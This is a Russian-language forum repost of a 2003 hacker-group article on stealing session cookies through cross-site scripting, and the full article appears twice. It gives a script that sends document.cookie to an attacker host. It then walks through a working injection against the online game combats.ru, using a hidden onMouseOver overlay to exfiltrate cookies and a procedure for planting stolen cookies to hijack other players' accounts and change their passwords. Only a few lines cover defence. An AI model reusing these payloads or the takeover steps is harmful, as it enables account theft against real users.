k00p3r
12.07.2005, 08:42
Публикуется с разрешения k0dsweb gr0up.
================================================== ====================
# #
# Author: {dr}{nerve} // k0dsweb gr0up #
# Статья является собственностью команды KODSWEB #
# Любое растпространение без нашего ведома строго запрещено. #
# -= 27.03.2003 =- #
# #
================================================== ====================
# #
# Атака на скрипты, использующие cookie-авторизацию. #
# #
================================================== ====================
### ###
### K O D S W E B ###
### ###
#================================================= ===================#
# Введение #
#================================================= ===================#
В данной статье я расскажу Вам об атаке на сервера,
использующие скрипты с cookie-авторизацией.
Многие форумы и гостевые книги, а также разнообразные online игры с
тысячами участников используют сookies, чтобы хранить HTTP
состояние в течении сеанса пользователя.
Cookies, содержащие опознавательные сертификаты можно подделать, тогда
сеанс может быть похищен. Чем это грозит - догадаться нетрудно :]
Cookies маркированы доменом, от которого они были установлены.
Программы Web просмотра или HTTP клиенты ограничивают просмотр
сookies от принятия других доменов.
#================================================= ===================#
# Типовая атака #
#================================================= ===================#
Если вводимые и впоследствии отсылаемые данные на защищенном домене никак
не контролируются или контролируются плохо, это может открыть доступ к данным
cookie на домене, таким образом, можно перехватить cookie.
Типовой пример атаки - ввод следующего кода в систему сообщения:
------------------------START-CODE----------------------------------->
<script>
# x contains the cookie data from the protected domain
var cookie_data = document.cookie;
# location to send the cookie data
var location = "http://www.hacker.com/cgi-bin/cookie_thief.cgi?COOKIE=";
document.img[x].src = location + cookie_data;
</script>
------------------------END-CODE-------------------------------------->
Get запрос пошлет данные сookies
как входной параметр в виде:
http://www.attacker.com/cgi-bin/cookie_thief.cgi?COOKIE=cookie_data
Привлекательность данного метода заключается в относительной простоте его реализации,
а также в том, что реализовать его можно разными способами, не ставя пользователя
в известность о событии и не оставляя никаких логов.
#================================================= ===================#
# Практическое применение #
#================================================= ===================#
Современные багтраки содержат массу скриптов, подвереженных такого рода атакам.
Я хочу же привести в пример баг, который существовал какое-то время назад
в одной СУПЕР популярной Online-игре "Бойцовский Клуб" // www.combats.ru
Баг был найден человеком с ником Mayhem. Я лишь выбрал этот баг в качестве примера, чтобы
продемонстрировать то, как и что можно получить, если достать пользовательские
cookies на защищенном домене.
Уязвимость заключалась в следующем:
===================================
Сорс листа смены информации о пользователе показывал пароль в hidden элементе
в обычном plain виде:
<input TYPE=hidden name=psw value="your_password">
Логично было предположить, что эти данные можно "использовать" в своих целях.
Вопрос был в том, как это все достать:
->Combats.ru
->Настройки
->Анкета
Добавляем в поле "Домашняя страница" "запрещенные символы" и видим, что
" не превращается в ", хотя некоторые теги фильтруются.
Добавляем в поле: " onMouseover="alert('hi')"
Info имеет следующий параметр:
Домашняя страница: "onMouseOver="alert('hi')"
При наведении мышки на эту строчку выполнялась JavaScript команда Alert("hi");
Объем кода, который можно было вписать в это поле был ограниченный:
maxlength=30
Сохранив страницу у себя на диске и изменив параметр, проблемма была удалена:
<input NAME="homepage" maxlenght=1300 value="" size="20">
Набрав длинную строку в поле домашняя страница на все 1300 символов
и перейдя в раздел info, было видно, что вся информация сохранена.
Пошли эксперименты, итогами которых стала следующая строка, записанная
в INFO "Домашняя страница":
www.combats.ru" style="position:absolute;top:-200px; left:-100px;height:700px;
width:850px; color:#e2e0e0;" OnMouseOver='javascript:if(window.document.body.na me=="hi")
{}else{window.document.body.name="hi"; cookiea=document.cookie;
test=open("http://www.hacker.ru/thief.php?cookie="+cookiea,"", "width=1,height=1");
window.hi.close();}'
Пояснения:
==========
" style=color:#e2e0e0; (e2e0e0) - делает высвечиваемый на странице код невидимым
для пользователя, (e2e0e0) - цвет фона.
OnMouseOver - использовался этот элемент для ожидания того момента, когда юзер
проведет по ссылке
" style="position:absolute;top:-200px;left:-100px;height:700px;width:850px;color:#e2e0e0;"
А это позволяло сделать ожидания недолгими.
Это создает прозрачный слой вне пределов экрана, а строка height:700px;width:850px;
расширяет область действия эвента на все окно с информацие об игроке.
cookiea=document.cookie; - позволяет украсть cookie
PHP и Mysql база - помогают принять украденные данные
if(window.document.body.name=="hi")
{
}
else
{
window.document.body.name="hi";
cookiea=document.cookie;
test= open("http://www.hacker.ru/thief.php?cookie="+cookiea,"", "width=1,height=1");
window.hi.close();
}
Итак, как только человек открывал Ваше INFO и двинул мышкой хоть на мгновение,
код сразу выполнялся: кукис уходили в базу данных.
Приходил cookie:
================
battleid=here_it_is; battle=Dirik; battlepsw=paskuda; ChatColor=Red
battle=Dirik; - Чужой логин
battlepsw=paskuda; - Пароль на поединок (Это не пароль к аккаунту игрока)
Использование:
==============
В INFO "Домашняя страница" записывалось:
"onMOuseOver='javascript:document.cookie ="battle=Dirik";
document.cookie =" ChatColor=Red";
document.cookie =" battleid= here_it_is ";
document.cookie =" battlepsw= paskuda ";'
Пояснение:
==========
При наведении мышки на строку с домашней страницей броузеру присваивались
необходимые Cookie. То есть необходимо было сохранить указанную выше строку
в Info "Домашняя страница", затем просмотреть ее самому, чтобы присвоить себе
несвои кукисы, тем самым став другим игроком - Dirik'ом.
http://mail.tut.by/Redirect/www.combats.ru/enter.pl?edit=1
Необходимо было просмотреть сорс для получения пароля.
А применялось это так:
======================
Хакер заходил в "Поединки", подавал заявку и начинал собирать пароли в свою базу данных,
затем выбирал сильнейшего игрока по логинам, которые он имел, присваивал себе его
куки, входил на страницу редактирования информации "о себе" и смотрел пароль,
затем менял его, и наслаждался своим превосходством.
Хочу также отметить, что описанный выше способ в настоящее время не работает,
так как пользовательский ввод в info "Домашняя Страница" фильтрует нужные символы.
#================================================= ===================#
# Как прикрыть уязвимость #
#================================================= ===================#
Это наиболее интересная секция для системщиков и веб-мастеров.
Прикрыть баг довольно просто. Для этого необходимо сделать следующее
(все базируется на фильтрации вводимых данных):
- Необходимо гарантировать, что все разрешенные для ввода теги и атрибуты безопасны
и лимитированы
- Необходимо отфильтровывать двойные и одиночные кавычки
- Необходимо удалять все нулевые символы.
#================================================= ===================#
# Заключение #
#================================================= ===================#
Атаки, основанные на похищении cookies, в настоящее время не редкость.
Для тех, кто хочет в этом попрактиковаться, место на buqtrak'е.
Наиболее часто уязвимости данного рода встречаются в форумах, гостевых книгах и online играх,
где cookies хранят логины и пароли пользователей.
Фильтрация ввода - неободимый метод борьбы с уязвимостью данного рода.
Все отзывы/предложения принимаются по адресу: admin@kodsweb.ru
[k0dsweb] kodsweb.ru
или на форум: kodsweb.ru/kwforum/
================================================== ====================
# #
# Author: {dr}{nerve} // k0dsweb gr0up #
# Статья является собственностью команды KODSWEB #
# Любое растпространение без нашего ведома строго запрещено. #
# -= 27.03.2003 =- #
# #
================================================== ====================
# #
# Атака на скрипты, использующие cookie-авторизацию. #
# #
================================================== ====================
### ###
### K O D S W E B ###
### ###
#================================================= ===================#
# Введение #
#================================================= ===================#
В данной статье я расскажу Вам об атаке на сервера,
использующие скрипты с cookie-авторизацией.
Многие форумы и гостевые книги, а также разнообразные online игры с
тысячами участников используют сookies, чтобы хранить HTTP
состояние в течении сеанса пользователя.
Cookies, содержащие опознавательные сертификаты можно подделать, тогда
сеанс может быть похищен. Чем это грозит - догадаться нетрудно :]
Cookies маркированы доменом, от которого они были установлены.
Программы Web просмотра или HTTP клиенты ограничивают просмотр
сookies от принятия других доменов.
#================================================= ===================#
# Типовая атака #
#================================================= ===================#
Если вводимые и впоследствии отсылаемые данные на защищенном домене никак
не контролируются или контролируются плохо, это может открыть доступ к данным
cookie на домене, таким образом, можно перехватить cookie.
Типовой пример атаки - ввод следующего кода в систему сообщения:
------------------------START-CODE----------------------------------->
<script>
# x contains the cookie data from the protected domain
var cookie_data = document.cookie;
# location to send the cookie data
var location = "http://www.hacker.com/cgi-bin/cookie_thief.cgi?COOKIE=";
document.img[x].src = location + cookie_data;
</script>
------------------------END-CODE-------------------------------------->
Get запрос пошлет данные сookies
как входной параметр в виде:
http://www.attacker.com/cgi-bin/cookie_thief.cgi?COOKIE=cookie_data
Привлекательность данного метода заключается в относительной простоте его реализации,
а также в том, что реализовать его можно разными способами, не ставя пользователя
в известность о событии и не оставляя никаких логов.
#================================================= ===================#
# Практическое применение #
#================================================= ===================#
Современные багтраки содержат массу скриптов, подвереженных такого рода атакам.
Я хочу же привести в пример баг, который существовал какое-то время назад
в одной СУПЕР популярной Online-игре "Бойцовский Клуб" // www.combats.ru
Баг был найден человеком с ником Mayhem. Я лишь выбрал этот баг в качестве примера, чтобы
продемонстрировать то, как и что можно получить, если достать пользовательские
cookies на защищенном домене.
Уязвимость заключалась в следующем:
===================================
Сорс листа смены информации о пользователе показывал пароль в hidden элементе
в обычном plain виде:
<input TYPE=hidden name=psw value="your_password">
Логично было предположить, что эти данные можно "использовать" в своих целях.
Вопрос был в том, как это все достать:
->Combats.ru
->Настройки
->Анкета
Добавляем в поле "Домашняя страница" "запрещенные символы" и видим, что
" не превращается в ", хотя некоторые теги фильтруются.
Добавляем в поле: " onMouseover="alert('hi')"
Info имеет следующий параметр:
Домашняя страница: "onMouseOver="alert('hi')"
При наведении мышки на эту строчку выполнялась JavaScript команда Alert("hi");
Объем кода, который можно было вписать в это поле был ограниченный:
maxlength=30
Сохранив страницу у себя на диске и изменив параметр, проблемма была удалена:
<input NAME="homepage" maxlenght=1300 value="" size="20">
Набрав длинную строку в поле домашняя страница на все 1300 символов
и перейдя в раздел info, было видно, что вся информация сохранена.
Пошли эксперименты, итогами которых стала следующая строка, записанная
в INFO "Домашняя страница":
www.combats.ru" style="position:absolute;top:-200px; left:-100px;height:700px;
width:850px; color:#e2e0e0;" OnMouseOver='javascript:if(window.document.body.na me=="hi")
{}else{window.document.body.name="hi"; cookiea=document.cookie;
test=open("http://www.hacker.ru/thief.php?cookie="+cookiea,"", "width=1,height=1");
window.hi.close();}'
Пояснения:
==========
" style=color:#e2e0e0; (e2e0e0) - делает высвечиваемый на странице код невидимым
для пользователя, (e2e0e0) - цвет фона.
OnMouseOver - использовался этот элемент для ожидания того момента, когда юзер
проведет по ссылке
" style="position:absolute;top:-200px;left:-100px;height:700px;width:850px;color:#e2e0e0;"
А это позволяло сделать ожидания недолгими.
Это создает прозрачный слой вне пределов экрана, а строка height:700px;width:850px;
расширяет область действия эвента на все окно с информацие об игроке.
cookiea=document.cookie; - позволяет украсть cookie
PHP и Mysql база - помогают принять украденные данные
if(window.document.body.name=="hi")
{
}
else
{
window.document.body.name="hi";
cookiea=document.cookie;
test= open("http://www.hacker.ru/thief.php?cookie="+cookiea,"", "width=1,height=1");
window.hi.close();
}
Итак, как только человек открывал Ваше INFO и двинул мышкой хоть на мгновение,
код сразу выполнялся: кукис уходили в базу данных.
Приходил cookie:
================
battleid=here_it_is; battle=Dirik; battlepsw=paskuda; ChatColor=Red
battle=Dirik; - Чужой логин
battlepsw=paskuda; - Пароль на поединок (Это не пароль к аккаунту игрока)
Использование:
==============
В INFO "Домашняя страница" записывалось:
"onMOuseOver='javascript:document.cookie ="battle=Dirik";
document.cookie =" ChatColor=Red";
document.cookie =" battleid= here_it_is ";
document.cookie =" battlepsw= paskuda ";'
Пояснение:
==========
При наведении мышки на строку с домашней страницей броузеру присваивались
необходимые Cookie. То есть необходимо было сохранить указанную выше строку
в Info "Домашняя страница", затем просмотреть ее самому, чтобы присвоить себе
несвои кукисы, тем самым став другим игроком - Dirik'ом.
http://mail.tut.by/Redirect/www.combats.ru/enter.pl?edit=1
Необходимо было просмотреть сорс для получения пароля.
А применялось это так:
======================
Хакер заходил в "Поединки", подавал заявку и начинал собирать пароли в свою базу данных,
затем выбирал сильнейшего игрока по логинам, которые он имел, присваивал себе его
куки, входил на страницу редактирования информации "о себе" и смотрел пароль,
затем менял его, и наслаждался своим превосходством.
Хочу также отметить, что описанный выше способ в настоящее время не работает,
так как пользовательский ввод в info "Домашняя Страница" фильтрует нужные символы.
#================================================= ===================#
# Как прикрыть уязвимость #
#================================================= ===================#
Это наиболее интересная секция для системщиков и веб-мастеров.
Прикрыть баг довольно просто. Для этого необходимо сделать следующее
(все базируется на фильтрации вводимых данных):
- Необходимо гарантировать, что все разрешенные для ввода теги и атрибуты безопасны
и лимитированы
- Необходимо отфильтровывать двойные и одиночные кавычки
- Необходимо удалять все нулевые символы.
#================================================= ===================#
# Заключение #
#================================================= ===================#
Атаки, основанные на похищении cookies, в настоящее время не редкость.
Для тех, кто хочет в этом попрактиковаться, место на buqtrak'е.
Наиболее часто уязвимости данного рода встречаются в форумах, гостевых книгах и online играх,
где cookies хранят логины и пароли пользователей.
Фильтрация ввода - неободимый метод борьбы с уязвимостью данного рода.
Все отзывы/предложения принимаются по адресу: admin@kodsweb.ru
[k0dsweb] kodsweb.ru
или на форум: kodsweb.ru/kwforum/